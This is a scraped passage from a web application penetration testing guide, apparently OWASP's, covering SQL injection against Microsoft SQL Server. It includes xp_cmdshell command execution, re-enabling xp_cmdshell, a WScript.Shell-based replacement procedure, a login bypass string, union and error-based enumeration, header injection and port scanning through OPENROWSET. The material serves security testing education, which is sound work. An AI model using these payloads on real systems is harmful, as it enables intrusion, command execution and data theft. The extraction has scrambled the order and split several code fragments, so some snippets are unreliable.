24.10.2014 Views

1BO4r2U

1BO4r2U

1BO4r2U

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

119 120<br />

Web Application Penetration Testing<br />

Web Application Penetration Testing<br />

How to Test<br />

SQL Server Characteristics<br />

To begin, let’s see some SQL Server operators and commands/stored<br />

procedures that are useful in a SQL Injection test:<br />

[1] comment operator: -- (useful for forcing the query to ignore the<br />

remaining portion of the original query; this won’t be necessary in every<br />

case)<br />

[2] query separator: ; (semicolon)<br />

[3] Useful stored procedures include:<br />

• [xp_cmdshell] executes any command shell in the server with the<br />

same permissions that it is currently running. By default, only sysadmin<br />

is allowed to use it and in SQL Server 2005 it is disabled by default<br />

(it can be enabled again using sp_configure)<br />

• xp_regread reads an arbitrary value from the Registry (undocumented<br />

extended procedure)<br />

• xp_regwrite writes an arbitrary value into the Registry (undocumented<br />

extended procedure)<br />

• [sp_makewebtask] Spawns a Windows command shell and passes<br />

in a string for execution. Any output is returned as rows of text. It requires<br />

sysadmin privileges.<br />

• [xp_sendmail] Sends an e-mail message, which may include a query<br />

result set attachment, to the specified recipients. This extended<br />

stored procedure uses SQL Mail to send the message.<br />

Let’s see now some examples of specific SQL Server attacks that use<br />

the aforementioned functions. Most of these examples will use the<br />

exec function.<br />

Below we show how to execute a shell command that writes the output<br />

of the command dir c:\inetpub in a browseable file, assuming that<br />

the web server and the DB server reside on the same host. The following<br />

syntax uses xp_cmdshell:<br />

exec master.dbo.xp_cmdshell ‘dir c:\inetpub > c:\inetpub\<br />

wwwroot\test.txt’--<br />

Alternatively, we can use sp_makewebtask:<br />

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )<br />

CONVERT will try to convert the result of db_name (a string) into<br />

an integer variable, triggering an error, which, if displayed by the<br />

vulnerable application, will contain the name of the DB.<br />

The following example uses the environment variable @@version<br />

, combined with a “union select”-style injection, in order to find the<br />

version of the SQL Server.<br />

/form.asp?prop=33%20union%20select%20<br />

1,2006-01-06,2007-01-06,1,’stat’,’name1’,’na<br />

me2’,2006-01-06,1,@@version%20--<br />

And here’s the same attack, but using again the conversion<br />

/controlboard.asp?boardID=2&itemnum=1%20AND%20<br />

1=CONVERT(int,%20@@VERSION)<br />

trick:Information gathering is useful for exploiting software vulnerabilities<br />

at the SQL Server, through the exploitation of an<br />

SQL-injection attack or direct access to the SQL listener.<br />

In the following, we show several examples that exploit SQL injection<br />

vulnerabilities through different entry points.<br />

Example 1: Testing for SQL Injection in a GET request.<br />

The most simple (and sometimes most rewarding) case would be<br />

that of a login page requesting an user name and password for<br />

user login. You can try entering the following string “’ or ‘1’=’1”<br />

(without double quotes):<br />

https:/vulnerable.web.app/login.asp?Username=’%20or%20<br />

’1’=’1&Password=’%20or%20’1’=’1<br />

POST https:/vulnerable.web.app/forgotpass.asp HTTP/1.1<br />

Host: vulnerable.web.app<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;<br />

rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/<br />

html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />

Accept-Language: en-us,en;q=0.5<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Proxy-Connection: keep-alive<br />

Referer: http:/vulnerable.web.app/forgotpass.asp<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-Length: 50<br />

email=%27&whichSubmit=submit&submit.x=0&submit.y=0<br />

The error message obtained when a ‘ (single quote) character is entered<br />

at the email field is:<br />

Microsoft OLE DB Provider for SQL Server error ‘80040e14’<br />

Unclosed quotation mark before the character string ‘.<br />

/forgotpass.asp, line 15<br />

Example 4: Yet another (useful) GET example<br />

Obtaining the application’s source code<br />

a’ ; master.dbo.xp_cmdshell ‘ copy c:\inetpub\wwwroot\login.<br />

aspx c:\inetpub\wwwroot\login.txt’;--<br />

Example 5: custom xp_cmdshell<br />

All books and papers describing the security best practices for SQL<br />

Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL<br />

Server 2005 it is disabled by default). However, if we have sysadmin<br />

rights (natively or by bruteforcing the sysadmin password, see below),<br />

we can often bypass this limitation.<br />

ShellID OUT<br />

IF @OLEResult 0 SELECT @result = @OLEResult<br />

IF @OLEResult 0 RAISERROR (‘CreateObject %0X’, 14, 1, @<br />

OLEResult)<br />

EXECUTE @OLEResult = sp_OAMethod @ShellID, ‘Run’, Null,<br />

@cmd, 0, @Wait<br />

IF @OLEResult 0 SELECT @result = @OLEResult<br />

IF @OLEResult 0 RAISERROR (‘Run %0X’, 14, 1, @OLEResult)<br />

EXECUTE @OLEResult = sp_OADestroy @ShellID<br />

return @result<br />

This code, written by Antonin Foller (see links at the bottom of the<br />

page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod<br />

and sp_oadestroy (as long as they haven’t been disabled too, of<br />

course). Before using it, we need to delete the first xp_cmdshell we<br />

created (even if it was not working), otherwise the two declarations<br />

will collide.<br />

On SQL Server 2005, xp_cmdshell can be enabled by injecting the following<br />

code instead:<br />

master..sp_configure ‘show advanced options’,1<br />

reconfigure<br />

master..sp_configure ‘xp_cmdshell’,1<br />

reconfigure<br />

Example 6: Referer / User-Agent<br />

Referer: https:/vulnerable.web.app/login.aspx’, ‘user_agent’,<br />

‘some_ip’); [SQL CODE]--<br />

The REFERER header set to:<br />

Allows the execution of arbitrary SQL Code. The same happens with<br />

exec sp_makewebtask ‘C:\Inetpub\wwwroot\test.txt’, ‘select *<br />

from master.dbo.sysobjects’--<br />

A successful execution will create a file that can be browsed by the pen<br />

tester. Keep in mind that sp_makewebtask is deprecated, and, even if<br />

it works in all SQL Server versions up to 2005, it might be removed in<br />

the future.<br />

In addition, SQL Server built-in functions and environment variables<br />

are very handy. The following uses the function db_name() to trigger<br />

an error that will return the name of the database:<br />

/controlboard.asp?boardID=2&itemnum=1%20AND%20<br />

1=CONVERT(int,%20db_name())<br />

Notice the use of [convert]:<br />

If the application is using Dynamic SQL queries, and the string gets<br />

appended to the user credentials validation query, this may result<br />

in a successful login to the application.<br />

Example 2: Testing for SQL Injection in a GET request<br />

In order to learn how many columns exist<br />

https:/vulnerable.web.app/list_report.aspx?number=001%20<br />

UNION%20ALL%201,1,’a’,1,1,1%20FROM%20users;--<br />

Example 3: Testing in a POST request<br />

SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0<br />

A complete post example:<br />

On SQL Server 2000:<br />

• If xp_cmdshell has been disabled with sp_dropextendedproc, we<br />

can simply inject the following code:<br />

sp_addextendedproc ‘xp_cmdshell’,’xp_log70.dll’<br />

• If the previous code does not work, it means that the xp_log70.dll<br />

has been moved or deleted. In this case we need to inject the following<br />

code:<br />

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @<br />

Wait int = 0) AS<br />

DECLARE @result int, @OLEResult int, @RunResult int<br />

DECLARE @ShellID int<br />

EXECUTE @OLEResult = sp_OACreate ‘WScript.Shell’, @<br />

User-Agent: user_agent’, ‘some_ip’); [SQL CODE]--<br />

select * from OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=foobar;-<br />

Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5’,’select 1’)--<br />

the User-Agent header set to:<br />

Example 7: SQL Server as a port scanner<br />

In SQL Server, one of the most useful (at least for the penetration<br />

tester) commands is OPENROWSET, which is used to run a query on<br />

another DB Server and retrieve the results. The penetration tester can<br />

use this command to scan ports of other machines in the target network,<br />

injecting the following query:<br />

This query will attempt a connection to the address x.y.w.z on port p. If<br />

the port is closed, the following message will be returned:

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!